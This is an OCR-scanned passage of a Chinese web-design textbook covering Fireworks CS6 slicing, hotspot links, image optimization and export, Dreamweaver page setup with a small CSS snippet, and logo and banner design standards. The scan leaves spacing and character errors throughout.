网 站 备案 电子 证 书 是 一 个 bazs.cert 证 书 文件 。 这 个 文件 需要 放置 到 根 目录 下 的 cert 文件 夹 下 面 。 

在 设计 网 站 效果 图 时 ， 需 要 在 网 站 的 版 权 区 域 加 入 备案 编号 与 相关 法 规 规定 的 内 容 。 如 果 是 某 些 
特殊 行业 ， 如 金融 、 出 版 、 新 闻 等 国家 相关 规定 的 行业 ， 在 网 站 的 版 权 区 域 需要 放置 网 站 的 当地 公安 
机 关 网 站 备案 证 号 、 主 管 单位 和 主管 单位 联系 方式 。 如 图 8-63 所 示 是 某 网 站 版 权 区 的 备案 信息 、 电 子 
营业 执照 、 电 信 授 权 书 等 内 容 。 
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图 8-63 ”网 站 版 权 区 的 备案 信息 、 授 权 信息 等 内 容 
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8.8 小 结 


在 网 站 设计 的 工作 中 ， 网 页 布局 、 网 页 效果 图 的 设计 是 一 个 重要 的 环节 。 设 计 美 观 的 网 页 效果 图 
以 后 才能 根据 效果 图 制作 出 美观 的 网 页 。 本 章 简 要 讲述 了 Photoshop CS6 在 网 页 制作 中 的 使 用 , 学 习 重 
点 是 网 页 大 小 、 网 页 的 设计 元 素 、 图 片 格式 、 网 页 效果 图 设计 等 。 网 页 中 图 片 的 格式 是 需要 重点 理解 
的 内 容 ， 需 要 根据 网 页 的 需要 将 图 片 导出 为 正确 的 格式 。8.6 节 的 实例 是 使 用 Photoshop CS6 设计 一 个 
网 页 效果 图 ， 读 者 需要 对 实例 中 的 操作 进行 练习 。 


第 人 间 


使 用 Fireworks 切 图 输出 
i 


Fireworks CS6 的 介绍 
使 用 Fireworks 断 图 
图 像 上 的 热点 链接 


使 用 Dreamweaver 迁 行 页 面 制作 
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用 户 使 用 Photoshop 根据 网 页 设计 的 要 求 进行 创意 并 设计 出 网 页 的 效果 图 ,但 是 设计 
完成 的 效果 图 只 是 网 页 的 基本 样式 ， 还 不 能 直接 作为 网 页 放 在 网 站 上 运行 。 这 就 需要 用 
Fireworks 对 网 页 效果 图 进行 切割 和 优化 输出 。 

网 页 效果 图 的 切割 就 是 用 Fireworks 按照 网 页 排版 的 要 求 ， 将 网 页 效果 图 按照 内 容 布 
局 切割 成 小 图 片 。 这 些小 图 片 可 以 再 用 Dreamweaver 进行 排版 和 设计 ， 从 而 完成 图 片 到 
网 页 的 制作 。 


村 从 与 网 站 建设 技术 让 


9.1 Fireworks CS6 的 介绍 


Fireworks CS6 是 一 个 功能 强大 的 平面 图 片 设计 软件 。 Fireworks 有 许多 专门 针对 网 页 设计 的 工具 与 
功能 ， 可 以 方便 地 进行 网 页 图 片 的 设计 和 开发 。 

与 Photoshop 不 同 的 是 , Fireworks 除了 具有 Photoshop 一 样 的 图 片 设计 功能 以 外 , 还 有 专门 针对 网 
页 设计 的 切片 工具 和 图 片 优 化 工具 ， 可 以 方便 地 完成 图 片 的 网 页 切片 和 图 片 的 优化 。 如 图 9-1 所 示 为 
Fireworks CS6 的 工作 界面 。 
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图 9-1 Fireworks 设计 网 页 图 片 


同 Dreamweaver 一 样 ，Fireworks 下 面 是 “属性 ”面板 。 单 击 设计 区 的 对 象 以 后 ，“ 属 性 ”面板 会 
显示 与 这 个 对 象 相关 的 属性 ， 可 以 在 “属性 ”面板 中 对 这 个 对 象 的 属性 进行 设置 。 右 边 是 各 种 工作 对 
话 框 ， 左 边 有 着 和 Photoshop 相似 的 工具 条 。 


示 切 片 与 热点 工具 ”。 这 4 个 工具 是 专门 用 来 对 网 页 进行 切割 和 建立 热点 链接 的 。 


9.2 使 用 Fireworks 切 图 


网 页 效果 图 上 有 各 种 功能 模块 ， 这些 功能 模块 需要 根据 版 面 的 内 容 用 Fireworks 进行 切割 。 网 站 的 
Logo、Banner、 导 航 条 、 图 片 等 内 容 都 需要 切割 出 来 ， 切 割 完成 以 后 需要 进行 优化 与 输出 。 
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9.2.1 页 面 切 图 


在 进行 页 面 切 图 时 ， 首 先 要 确定 需要 切 图 的 内 容 。 切 图 的 内 容 就 是 需要 输出 到 网 页 上 的 内 容 。 网 
站 的 Logo、Banner、 图 片 等 内 容 ， 需 要 按照 布局 与 大 小 切割 成 小 图 片 。 

在 进行 切片 时 ， 需 要 考虑 到 网 页 的 内 容 制 作 和 布局 排版 、 网 页 编程 等 因素 。 合 理 的 网 页 切 图 有 利 
于 网 页 的 排版 与 设计 。 切 图 时 需要 注意 以 下 内 容 。 
不 要 把 一 个 完整 的 图 片 部 分 切割 到 两 个 图 片上 。 
可 能 输入 文字 的 区 域 不 需要 切片 。 
不 需要 输出 的 背景 可 以 不 切片 。 
在 切片 时 需要 注意 不 同 切片 的 布局 ， 应 尽量 整齐 排列 。 
每 一 个 切片 的 大 小 要 合适 。 太 大 的 图 片 不 利于 下 载 ， 如 果 图 片 太 小 会 产生 很 多 图 片 。 

下 面 是 一 个 网 页 切 图 的 实例 。 对 第 8 章 Photoshop CS6 设计 的 网 页 效果 图 进行 切 图 和 输出 。 

(1) 打开 Fireworks CS6。 选 择 “ 文 件 ”| “打开 ”命令 ,打开 本 书 光盘 中 的 文件 “\ 源 文件 \08\ps_ 

eg\index.jpg”。 在 Fireworks CS6 中 打开 的 文件 如 图 9-2 所 示 。 
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图 9-2 Fireworks CS6 打开 网 页 效果 图 文件 

(2) 使 用 切片 工具 进行 网 页 切片 。 单 击 工具 栏 中 的 “切片 工具 ” 国 ， 在 图 片 的 Logo 上 面 按 住 鼠 
标 左 键 不 放 拖 动 ， 切 割 这 个 Logo 图 片 。 切 割 的 图 片 以 较 深 的 颜色 显示 ， 如 图 9-3 所 示 。 

(3) 用 步骤 (2) 的 方法 ， 将 艺术 字 与 Banner 图 片 切割 成 两 个 切片 。 在 切片 时 ， 需 要 注意 切片 的 
高 度 应 与 Logo 图 片 切片 的 高 度 相 同 ， 如 图 9-4 所 示 。 

(4) 继续 切割 网 页 导航 条 、 网 页 布局 区 域 中 的 图 片 内 容 。 在 这 些 切 片 中 ， 需 要 这 些 切片 的 大 小 合 
适 、 布 局 合理 。 同 时 需要 考虑 到 在 Dreamweaver CS6 中 便于 网 页 的 排版 。 网 页 最 终 的 切片 如 图 9-5 


所 示 。 
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图 9-3 切割 Logo 图 片 9-4 网 页 切片 
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图 9-5 Fireworks CS6 完成 的 网 页 切片 


(5) 保存 切片 以 后 的 图 片 为 PNG 格式 。 选 择 “ 文 件 ”| “另存 为 ”命令 ， 弹 出 “另存 为 ”对 话 
框 , 在 “文件 名 ”文本 框 中 输入 文件 名 “index”， 在 “另存 为 类 型 ”下 拉 列 表 框 中 选择 Fireworks PNG 
格式 ， 选 择 文件 夹 为 “E:\”。 单 击 “ 保 存 ” 按 钮 ， 完 成 图 片 的 保存 。 


9.2.2 ”切片 属性 的 设置 与 超级 链接 


切割 的 图 片 都 可 以 添加 超级 链接 。 在 Fireworks 中 添加 链接 与 在 Dreamweaver 中 添加 链接 有 同样 的 
效果 。Fireworks 中 的 每 一 个 切割 的 小 图 片 ， 都 可 以 单独 设置 导出 时 的 格式 与 质量 。 
(1) 打开 Fireworks CS6。 选 择 “文件 ”| “打开 ”命令 ， 打 开本 书 光盘 中 的 文件 “\ 源 文件 \09\ 
index.png”。 
(2) 单 击 Fireworks CS6 工具 栏 中 的 “指针 工具 ”%。 指 针 工具 可 以 选择 图 片 中 的 图 层 与 切片 。 
(3) 选择 图 片 中 的 第 一 个 切片 。 这 个 切片 是 网 页 的 Logo， 需 要 设置 超级 链接 。 如 图 9-6 所 示 是 切 
片 的 “属性 ”面板 。 
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图 9-6 切片 的 “属性 ”面板 


(4) 如 图 9-6 所 示 ， 在 “切片 ”文本 框 中 输入 切片 的 名 称 “logo”， 在 “类 型 ”下 拉 菜 单 中 选择 
“前 景 图 像 选 项 , 在 “链接 ”文本 框 中 输入 图 片 的 链接 “index.html”, 在 “替代 ”文本 框 中 输入 “Logo”。 
在 “目标 ”下 拉 菜 单 中 选择 _self 选项 。 这样，Logo 图 片 就 是 一 个 超级 链接 。 单 击 这 张 图 片 时 ， 会 链接 
到 网 页 的 首页 。 

(5) 按照 步骤 (3) 和 (4) 的 方法 ， 对 网 页 中 需要 设置 链接 的 图 片 设置 链接 和 导出 属性 。 

(6) 保存 切片 以 后 的 图 片 为 PNG 格式 。 选 择 “ 文 件 ”| “另存 为 ”命令 ， 弹 出 “另存 为 ”对 话 
框 , 在 “文件 名 ”文本 框 中 输入 文件 名 “index1”， 在 “另存 为 类 型 ”下拉 列表 框 中 选择 Fireworks PNG 
格式 ， 选 择 文件 夹 为 “E:\”。 单 击 “ 保 存 ” 按 钮 ， 完 成 图 片 的 保存 。 


9.2.3 ”热点 链接 设置 


可 以 用 图 片 热 点 工具 在 图 片 或 切片 上 建立 热点 。 在 Fireworks CS6 中 建立 的 图 片 热点 链接 和 在 
Dreamweaver CS6 中 建立 的 图 片 热点 链接 是 相同 的 。 

(1) 打开 Fireworks CS6。 选 择 “ 文 件 ”| “打开 ”命令 ,打开 9.2.1 节 保存 的 文件 “E:index.png”。 

(2) 单 击 工具 栏 上 的 “矩形 热点 工具 ” 国 ， 然 后 在 图 片 中 的 导航 条 切片 上 拖 动 ， 画 出 一 个 矩形 区 
域 ， 建 立 一 个 矩形 热点 工具 ， 如 图 9-7 所 示 。 


我 的 照片 兴趣 爱好 ”交友 空间 


图 9-7 建立 一 个 图 像 热 点 区 域 
(3) 用 同样 的 方法 ， 在 导航 条 的 其 他 文字 上 建立 图 像 热点 工具 ， 如 图 9-8 所 示 。 


9-8 在 导航 条 上 建立 图 像 热 点 
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(4) 在 工具 栏 中 选择 指针 工具 ， 然 后 选择 第 一 个 矩形 热点 链接 。 在 “属性 ”面板 中 设置 这 个 热点 
链接 的 属性 。 如 图 9-9 所 示 是 卸 形 热点 链接 的 “属性 ”面板 。 
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图 9-9 和 矩形 热点 链接 的 “属性 ”面板 


(5) 如 图 9-9 所 示 ， 在 “链接 ”文本 框 中 输入 链接 的 URL“index.html”， 在 “目标 ”下 拉 菜 单 
中 选择 链接 的 目标 “_self”。 

(6) 按照 步骤 (4) 和 (5) 的 方法 ， 设 置 导航 条 中 的 其 他 矩形 热点 链接 。 

(7) 保存 文件 。 选 择 “文件 ”| “保存 ”命令 ,保存 添加 了 热点 链接 的 文件 。 


9.2.4 优化 和 导出 图 像 


图 片 切割 完成 以 后 ， 不 可 以 直接 导出 为 网 页 ， 还 需要 对 图 片 进行 优化 设置 。 如 果 网 页 图 片 的 清晰 
度 很 高 ， 虽 然 可 以 保证 图 片 的 效果 ， 但 是 会 生成 很 大 的 图 片 文 件 ， 导 致 网 页 打开 很 慢 。 如 果 网 页 上 图 
片 清晰 度 很 差 ， 虽 无 文件 大 小 的 影响 ， 但 会 使 图 片 产生 失真 ， 影 响 网 页 的 效果 。 

(1) 打开 Fireworks CS6。 在 Fireworks CS6 中 选择 “文件 ” |“ 打开” 命令 ， 打 开本 书 光盘 中 的 图 
片 “ 源 文件 \09\index1.png”。Fireworks CS6 的 工作 视图 如 图 9-10 所 示 。 
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图 9-10 ”Fireworks CS6 打开 的 本 书 光盘 图 片 源 文件 


(2) 图 片 的 优化 。 图 片 的 优化 就 是 利用 Fireworks 对 图 片 的 分 辨 率 和 格式 进行 设置 ， 对 图 片 的 大 
小 进行 压缩 ， 并 且 对 图 片 的 颜色 进行 设置 。 使 网 页 图 片 在 较 小 文件 下 具有 较 好 的 效果 。 选择“ 窗口 ”| 
“优化 ”命令 ， 打 开 Fireworks CS6 的 “优化 ”面板 ， 如 图 9-11 所 示 。 

(3) 在 “优化 ”面板 的 “导出 格式 ”下 拉 列 表 框 中 选择 “GIF 接近 网 页 256 色 ” 选 项 ， 在 “颜色 ” 
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下 拉 列 表 框 中 选择 256 选项 。 其 他 的 设置 参数 可 以 使 用 默认 设置 。 

(4) 如 何 选择 导出 格式 。 在 进行 图 片 优化 时 ， 首 先 需要 选择 图 片 的 导出 格式 。 如 果 图 片 的 颜色 简 
单 ， 可 以 使 用 GIF 格式 。GIF 格式 可 以 使 图 片 压缩 ， 生 成 很 小 的 网 页 图 片 。 如 果 图 片上 有 丰富 的 色彩 ， 
GIF 格式 会 使 图 片 严 重 失真 ， 则 需要 使 用 JPG 格式 导出 。 

(5) 导出 为 网 页 。 网 页 图 片 完 成 切割 与 优化 以 后 ， 即 可 导出 为 网 页 。 选 择 需 要 导出 的 切片 ， 然 后 
选择 “文件 ”|“ 导 出” 命令， 在 有 多 个 切片 需要 导出 的 情况 下 ， 需 要 按 住 Shift 键 选择 多 个 切片 。 网 
页 无 颜色 的 背景 、 输 入 文本 的 区 域 、 不 需要 导出 的 区 域 可 以 不 用 选择 。 如 图 9-12 所 示 为 “导出 ”对 
话 框 。 
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图 9-11 Fireworks 的 “优化 ”面板 图 9-12 Fireworks 导出 切片 

图 片 的 “导出 ”对 话 框 有 以 下 内 容 需 要 设置 。 

文件 名 : 需要 导出 的 文件 名 。 

回 导出 : 导出 的 类 型 ， 可 以 是 网 页 或 图 片 。 这 里 需要 选择 “HTML 和 图 像 ” 选 项 ， 可 以 导出 一 
个 HTML 网 页 文件 和 已 经 切割 的 图 片 。 
HTML: 需要 选择 导出 为 HTML 文件 ， 也 可 以 导出 到 粘贴 板 ， 可 以 再 粘贴 到 需要 的 文件 上 。 
切片 : 包括 “无 “导出 切片 ”和 “ 沿 辅 助 线 切 片 ”3 个 选项 。 
页 面 : 包括 “所 有 页 面 ^“ 当 前 页 面 ”和 “所 选 页 面 ”3 个 选项 。 
仅 已 选 切片 : 选中 此 复 选 框 后 只 会 导出 已 经 选择 的 切片 。 
仅 当 前 状态 : 只 会 导出 当前 状态 。 
包括 无 切片 区 域 : 选中 此 复 选 框 后 会 导出 整个 图 片 的 所 有 内 容 ， 包 括 没有 切片 的 区 域 。 
将 图 像 放 入 子 文件 夹 : 选中 此 复 选 框 后 可 以 将 导出 的 图 片 放 入 一 个 文件 夹 中 。 单 击 “ 浏 览 ” 
按钮 ， 可 以 选择 图 片 导出 的 文件 夹 。 

(6) 选择 导出 的 文件 夹 为 “E:\”。 完 成 这 些 设置 以 后 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 网 页 的 输出 ， 即 
可 将 切割 的 图 片 导 出 为 一 个 网 页 。 
® 
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(7) 打开 “E:\” 盘 ， 双 击 打开 导出 的 网 页 ， 网 页 的 效果 如 图 9-13 所 示 。 


一 一 
ee 
介入 主页 
我 的 照片 我 的 文章 兴起 委 好 交友 空间 才艺 展示 
ee a 
我 85 文章 | 
我 的 文章 ? 
A 


个 人 主页 版 权 所 有 “未 经 许可 ”不行 转载 
中 国 北京 联系 人 :Lily Email:lilye163.coa 


9-13 ”Fireworks 切割 导出 以 后 的 网 页 


9.3 使 用 Dreamweaver 进行 页 面 制作 


Fireworks 完成 网 页 的 切割 与 导出 以 后 ， 只 是 完成 了 网 页 的 基本 框架 ， 网 页 中 还 没有 具体 的 内 容 ， 
还 需要 使 用 网 页 设计 软件 Dreamweaver 对 网 页 内 容 进行 设计 与 排版 , 设置 网 页 的 属性 , 添加 网 页 元 素 ， 
输入 网 页 文本 ， 然 后 才 是 所 需要 的 网 页 。 


9.3.1 设置 Fireworks CS6 导出 网 页 的 属性 


Fireworks 导出 的 网 页 只 是 导出 了 网 页 的 基本 框架 , 还 需要 对 网 页 进行 调整 和 设置 .在 Dreamweaver 
CS6 中 ， 可 以 方便 地 对 网 页 的 背景 、 字 体 、 标 题 、 边 距 等 属性 进行 设置 。 
(1) 打开 Dreamweaver CS6。 打 开本 书 光盘 ， 将 “\ 源 文件 \09\” 下 的 文件 indexl.html 和 文件 夹 
images 复制 到 计算 机 中 的 “E\” 下 。 
(2) 选择 “文件 ”|“ 打 开 ” 命 令 , 选择 计算 机 中 的 网 页 文件 “E:\index1.html”。Dreamweaver CS6 
的 设计 视图 如 图 9-14 所 示 。 
(3) 右 击 网 页 空白 部 分 ， 在 弹出 的 快捷 菜单 中 选择 “页 面 属 性 ”命令 ， 即 可 打开 “页 面 属性 ”对 
话 框 ， 然 后 设置 网 页 的 字体 、 字 体 大 小 、 文 本 颜色 、 背 景 颜色 ， 如 图 9-15 所 示 。 
(4) 在 网 页 中 ， 网 页 对 象 与 浏览 器 边界 默认 是 有 一 定 间距 的 ， 需 根据 实际 需要 对 网 页 边 距 进 行 设 
置 。 如 图 9-15 所 示 ， 在 “左边 距 ” 文 本 框 中 输入 “0”， 其 他 3 个 边 距 也 设置 为 0。 
(5) 在 图 9-15 的 “分 类 ”列表 中 选择 “链接 ”选项 ， 设 置 网 页 的 链接 属性 ， 如 图 9-16 所 示 。 
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图 9-15 在 Dreamweaver CS6 中 设置 网 页 属性 
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图 9-14 在 Dreamweaver CS6 中 打开 Fireworks CS6 导出 的 网 页 
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图 9-16 设置 链接 属性 


(6) 单 击 “ 确 定 ” 按 钮 ， 完 成 页 面 属性 的 设置 ，Dreamweaver CS6 会 自动 生成 相关 HTML 代码 和 
相关 的 CSS 样式 。Dreamweaver 中 根据 这 些 设置 自动 生成 的 CSS 样式 代码 如 下 : 


<style type="text/css">td img {display: block:}body,td,th { 


font-family: 宋体 ; 

font-size: 14px' 

color #333333;,} 
body{ 

background-color: #FFFFFF:; 

margin-left: Opx; 

margin-top: Opx; 

margin-right: Opx; 

margin-bottom: Opx:} 
al 

font-size: 14px:; 

color: #660000;} 
ailink { 

text-decoration: none;} 
avisited { 

text-decoration: none; 

color: #330000;} 
ahover{ 


es ews*we 


text-decoration: none;} 
aactive{ 
text-decoration: none;} 
</style> 
(7) 选择 “文件 ”| “保存 ”命令 ,保存 所 编辑 的 文件 。 
(8) 按 F12 键 运行 网 页 ， 网 页 运行 效果 如 图 9-17 所 示 。 
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图 9-17 设置 页 面 属性 以 后 的 网 页 
9.3.2 设置 Fireworks CS6 导出 网 页 的 对 齐 方 式 


在 Fireoworks 软件 中 切 图 并 导出 的 网 页 ， 一 般 是 用 表格 来 控制 切 图 图 片 布局 的 。Fireoworks 导出 
的 网 页 都 是 左 对 齐 的 ， 需 要 设置 为 表格 居中 。 

(1) 选择 “文件 ”| “打开 ”命令 ， 选 择 计算 机 中 的 网 页 文件 “E:\index1.html”。 

(2) 单 击 网 页 布局 表格 的 边框 ， 即 Fireworks CS6 所 导出 的 网 页 。 这 个 表格 会 显示 黑色 边框 和 拖 
动 点 ， 如 图 9-18 所 示 。 
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9-18 选择 Fireworks CS6 导出 的 网 页 表格 


第 9 齐 使 用 Fiewadls 可 人 辐 Wiee 


(3) 在 表格 的 “属性 ”面板 中 ， 在 “对 齐 ” 下 拉 列 表 框 中 选择 “居中 对 齐 ” 选 项 ， 使 网 页 的 内 容 
居中 ， 如 图 9-19 所 示 。 


EE 
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图 9-19 设置 网 页 内 容 的 对 齐 方 式 
(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 所 编辑 的 文件 。 


9.3.3 添加 页 面 元 素 


网 页 设置 样式 以 后 ， 即 可 根据 Fireworks 切片 的 布局 在 网 页 中 插入 页 面 元 素 。 在 网 页 排版 中 ， 最 重 
要 的 内 容 是 网 页 中 的 文本 与 链接 ， 也 可 以 根据 网 页 的 效果 在 需要 排版 的 位 置 插入 图 片 、 表 格 、Flash 等 
内 容 。 

(1) 选择 “文件 ”| “打开 ”命令 ， 选 择 计算 机 中 的 网 页 文件 “E:\index1.html”。 

(2) 单 击 “ 我 的 个 人 主页 ”图 片 下 面 的 白色 图 片 ， 按 Delete 键 ， 删 除 这 张 图 片 。 

C3 i nasi 和 图 9-20 所 二。 
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图 9-20 在 网 页 中 输入 文本 


(4) 插入 表格 。 单 击 “ 友 情 链 接 ” 图 片 下 面 的 一 张 白色 空白 图 片 ， 按 Delete 键 ， 删 除 这 张 图 片 。 
然后 在 这 一 区 域 插 入 一 个 4 行 2 列 的 表格 ， 如 图 9-21 所 示 。 

(5) 在 插入 的 表格 中 插入 链接 ， 并 输入 链接 文本 。 然 后 选择 文本 ， 在 文本 的 “属性 ”面板 中 设置 
文本 的 链接 。 友 情 链接 的 效果 如 图 9-22 所 示 。 

(6) 插入 “我 的 文章 ” 栏目 中 的 链接 。 单 击 “ 我 的 文章 ”图 片 下 面 的 一 张 白色 空白 图 片 ， 按 Delete 
键 ， 删 除 这 张 图 片 。 然 后 在 这 一 区 域 插入 一 个 10 行 1 列 的 表格 ， 如 图 9-23 所 示 。 

(7) 在 所 插入 的 表格 中 输入 文章 链接 的 标题 文本 ， 然 后 选择 输入 的 文本 。 在 “属性 ”面板 中 设置 
文本 的 超级 链接 。 用 同样 的 方法 设置 其 他 的 文本 链接 ， 效 果 如 图 9-24 所 示 。 

(8) 选择 “文件 ”|“ 保 存 ” 命 令 ， 保 存 所 编辑 的 文件 。 按 F12 键 运行 网 页 ， 效 果 如 图 9-25 所 示 。 
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9-21 在 导出 的 网 页 中 插入 表格 
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图 9-23 在 网 页 中 插入 表格 控制 文章 链接 的 布局 
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图 9-25 ” Fireworks 导出 的 网 页 经 过 Dreamweaver 制作 以 后 的 效果 


9.4 常 


问 题 


在 网 页 中 如 何 使 用 PNG 格式 的 图 像 
PNG (Portable Network Graphic Format) 是 20 世纪 90 年 代 中 期 开始 开发 的 较 新 的 图 像 文 件 存 储 格 
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式 ， 其 目的 是 企图 用 更 加 优化 的 存储 与 还 原 蔡 代 GIF 和 TIFF 文件 格式 ， 
还 不 具备 的 优秀 特性 。 


使 用 Fireworks 切 图 


同时 增加 一 些 GIF 文件 格式 


Fireworks 的 工作 文件 采用 PNG 格式 存储 。 在 PNG 文件 中 ， 对 于 路 径 、 图 形 等 元 素 还 是 以 矢量 的 


形式 进行 存储 ， 可 以 再 次 打开 进行 编辑 。 动 画 、 图 层 等 内 容 也 是 以 矢量 的 
网 页 中 有 一 些 图 片 使 用 的 是 PNG 格式 ， 但 是 PNG 格式 的 图 片 文件 比 


形式 进行 存储 。 
同等 质量 的 GIF 或 JPG 图 片 


要 大 ， 且 很 容易 被 再 次 修改 图 片 中 的 内 容 。 有 些 浏览 器 还 不 能 显示 网 页 中 的 PNG 格式 图 片 ， 所 以 网 页 


中 的 图 片 最 好 不 要 使 用 PNG 格式 。 
9.4.2 ”Fireworks 切割 图 片 的 规则 


Fireworks 切割 图 片 时 ， 并 不 是 任意 地 对 图 片 进行 切割 ， 而 需要 考虑 到 网 页 设计 、 图 片 再 次 编辑 、 
文件 大 小 等 因素 ， 合 理 地 对 图 片 切割 有 利于 网 页 在 Dreamweaver 中 的 排版 制作 。 图 片 切割 时 ， 一 般 需 


要 遵从 以 下 原则 : 


对 于 一 个 文字 效果 、 一 张 完整 图 片 ， 最 好 放 在 一 个 切片 上 。 
Logo、Banner 等 内 容 需 要 根据 要 求 的 大 小 进行 切割 。 


加 加 回回 


用 的 内 容 ， 在 浏览 网 页 时 可 以 减少 文件 的 下 载 。 


加 回 


中 进行 布局 。 


9.5 小 结 


切片 的 布局 尽量 整齐 ， 这 样 可 以 方便 地 在 Dreamweaver 中 进行 布 
需要 在 Dreamweaver 中 进行 布局 的 内 容 , 则 不 必 切 片 。 留 出 这 片区 域 以 后 , 再 在 Dreamweaver 


切片 不 要 故意 太 小 或 太 大 。 切 片 太 小 会 产生 太 多 的 图 片 文 件 ; 反之 , 会 产生 较 少 的 图 片 文件 。 


切割 时 ， 需 要 尽量 切割 出 一 些 可 以 重复 使 用 的 内 容 ， 在 Dreamweaver 中 使 用 这 些 可 以 重复 使 


局 。 


本 章 讲述 了 Fireworks CS6 的 使 用 。Fireworks CS6 是 一 个 功能 强大 的 网 页 图 片 设 计 软 件 ， 本 章 的 
主要 内 容 是 使 用 Fireworks CS6 进行 网 页 切 图 、 图 片 优化 、 热 点 链接 、 导 出 图 片 的 操作 。 这 些 操 作 的 作 
用 是 将 网 页 图 片 或 效果 图 设计 成 能 够 在 Dreamweaver CS6 中 进行 排版 的 网 页 。 读 者 在 学 习 时 ， 需 要 做 


大 量 的 网 页 切 图 练习 ， 掌 握 切 图 技巧 。 
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制作 网 站 的 Logo 和 Banner 
ee 
”Logo 的 简介 
”Banner 的 简介 
”Logo 和 Banner 的 大 小 


于 


Logo 和 Banner 次 析 
”Logo 制作 实例 


作为 一 个 公司 或 企业 ， 需 要 一 个 可 以 代表 公司 形象 与 将 征 的 标志 。 同 样 ， 作 为 一 个 网 
站 ， 也 需要 有 一 个 可 以 代表 网 站 形象 与 功能 的 标志 ， 这 个 形象 标志 就 是 网 站 的 Logo。 作 
为 网 站 的 形象 代表 ， 网 站 的 LOgO 需要 经 过 专业 的 设计 并 赋予 一 些 理念 。 

Banner 就 是 一 个 网 站 的 横幅 广告 ， 位 于 网 站 的 最 上 面 或 中 间 ， 一 般 用 来 体现 网 站 中 
最 重要 的 内 容 。 本 章 将 讲解 Logo 和 Banner 有 关 设 计 的 知识 。 


先 10 齐 鹿 作 网 站 的 Toso 和 Baiaee 


10.1 什么 是 网 站 Logo 


简单 地 说 ，Logo 就 是 代表 网 站 的 一 个 标志 。 同 企业 商标 或 企业 形象 标志 一 样 ，Logo 是 用 一 个 有 创 
意 的 设计 ， 代 表 这 个 网 站 的 品牌 。 如 图 10-1 所 示 为 新 浪 首页 上 的 Logo， 图 10-2 为 搜狐 网 站 的 Logo。 
这 两 个 Logo 都 明显 地 表现 出 网 站 的 名 称 、 域 名 、 企 业 标 志 等 信息 。 


Warnem 搜狐 
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10-1 新 浪 网 的 Logo 图 10-2 搜狐 网 的 Logo 


10.1.1 网 站 Logo 的 重要 性 


Logo 是 网 站 形象 的 重要 体现 ， 一 个 好 的 Logo 往往 会 反映 网 站 和 企业 的 信息 。 对 一 个 商业 网 站 来 
说 ， 可 以 从 Logo 中 了 解 到 这 个 网 站 的 类 型 或 者 内 容 。 在 一 个 布 满 各 种 Logo 的 友情 链接 网 页 中 ，Logo 
的 作用 就 更 容易 体现 出 来 。 

例如 ， 腾 讯 QQ 的 企鹅 标志 ， 已 经 成 为 QQ 软件 、 企 业 、 网 站 的 代表 ， 人 们 看 到 QQ 企鹅 后 ， 就 
很 容易 联想 到 腾讯 QQ。QQ 企鹅 已 经 成 为 腾讯 QQ 的 品牌 代表 。 


10.1.2 ”网 站 标识 的 可 识别 性 


作为 网 站 的 品牌 标志 ，Logo 首先 要 与 众 不 同 。 如 果 与 其 他 很 多 标志 一 样 ，Logo 就 不 能 作为 一 个 网 
站 的 形象 代表 了 。 

其 次 , Logo 需要 富有 创意 的 设计 。 作 为 一 个 网 站 形象 的 体现 ，Logo 需要 在 一 个 小 巧 的 设计 中 体现 
网 站 的 风格 与 主题 ， 用 户 在 看 到 这 个 Logo 时 马上 可 以 联想 到 网 站 和 网 站 的 内 容 。 

一 个 富有 创意 的 Logo 往往 可 以 吸引 用 户 的 眼球 。 在 友情 链接 中 ， 富 有 创意 的 Logo 可 以 马上 让 用 
户 联想 到 网 站 ， 用 户 可 能 因为 Logo 的 吸引 单 击 这 些 友情 链接 中 的 网 站 。Logo 需要 在 很 多 场合 代言 这 
个 网 站 的 品牌 。 在 相关 的 活动 、 产 品 、 宣 传 中 ，Logo 需要 作为 代表 这 个 网 站 的 标志 。 如 图 10-3 所 示 为 
某 企业 名 片上 的 Logo， 图 10-4 为 某 企 业 前 台 封 面 装饰 的 Logo。 
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10-3 名 片上 的 Logo 10-4 企业 中 的 Logo 标志 
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Banner 常常 是 一 个 横幅 广告 ， 放 置 在 网 站 的 首页 上 ， 用 来 显示 网 站 中 最 重要 的 内 容 或 需要 重点 突 
出 的 内 容 。 在 网 站 的 首页 上 ， 常 常 将 重要 的 产品 、 活 动 、 广 告 等 内 容 以 首页 顶端 横幅 广告 、 中 部 通 幅 


广告 、 底 部 通 幅 广告 等 内 容 


首先 看 到 的 最 显著 的 内 容 就 


吸引 用 户 访问 这 些 广 告 内 容 


10.2 什么 是 Banner 


显示 。 


网 站 的 Banner 往往 有 比 其 他 内 容 更 丰富 的 色彩 和 内 容 , 常常 设计 成 动画 的 形式 。 用 户 访问 网 站 时 ， 
是 网 站 的 Banner。 如 果 一 个 网 站 有 较 好 的 点 击 器 ， 网 站 的 Banner 就 常常 是 
一 个 重要 的 网 络 广告 区 域 。 如 图 10-5 所 示 为 某 网 站 中 的 一 个 Banner 广告 ， 这 个 Banner 以 美观 的 动画 
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网 站 的 Logo 与 Banner 作为 在 网 络 上 广泛 使 用 和 传播 的 图 片 形 式 ， 


10-5 某 网 页 中 的 Banner 广告 


10.3 ”如 何 设计 制作 


与 方法 ， 在 进行 设计 时 ， 需 要 学 习 和 遵循 这 些 设计 标准 。 
10.3.1 网 站 Logo 设计 标准 


为 了 便于 信息 在 Internet 
与 设计 使 用 统一 的 标准 是 很 可 


上 传播 ， 便 于 不 同 的 网 站 使 用 Logo 互相 制作 友情 链接 ， 对 Logo 的 大 小 


要 的 。 现 在 网 络 上 已 经 有 了 Logo 设计 大 小 的 标准 。 


回 88X31: 这 是 Internet 上 最 普遍 的 Logo 大 小 。 


回 120X60: 一 般 大 小 


@ 


的 Logo。 


已 经 有 了 统一 的 设计 制作 标准 
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120X90: 较 大 的 Logo。 

对 于 网 站 的 Logo， 可 以 设计 出 同一 风格 的 这 3 种 大 小 不 同 的 版 本 ， 针 对 不 同 网 站 链接 使 用 的 
网 站 Logo 设计 的 一 般 要 求 是 : 

回 ”在 大 小 上 符合 国际 标准 ， 以 利于 不 同 的 网 站 链接 的 采用 。 

设计 精美 、 独 特 ， 在 一 个 很 小 的 设计 上 体现 出 很 高 的 设计 水 准 ， 有 自己 设计 的 独特 之 处 。 

回 ”在 颜色 与 思路 上 与 网 站 的 整体 风格 相 融 ， 与 网 站 的 整体 风格 色调 与 内 容 融 为 一 体 。 

回 在 设计 元 素 与 风格 上 能 够 体现 网 站 的 类 型 、 内 容 和 风格 。 


10.3.2 ”网 站 Logo 设计 软件 与 制作 


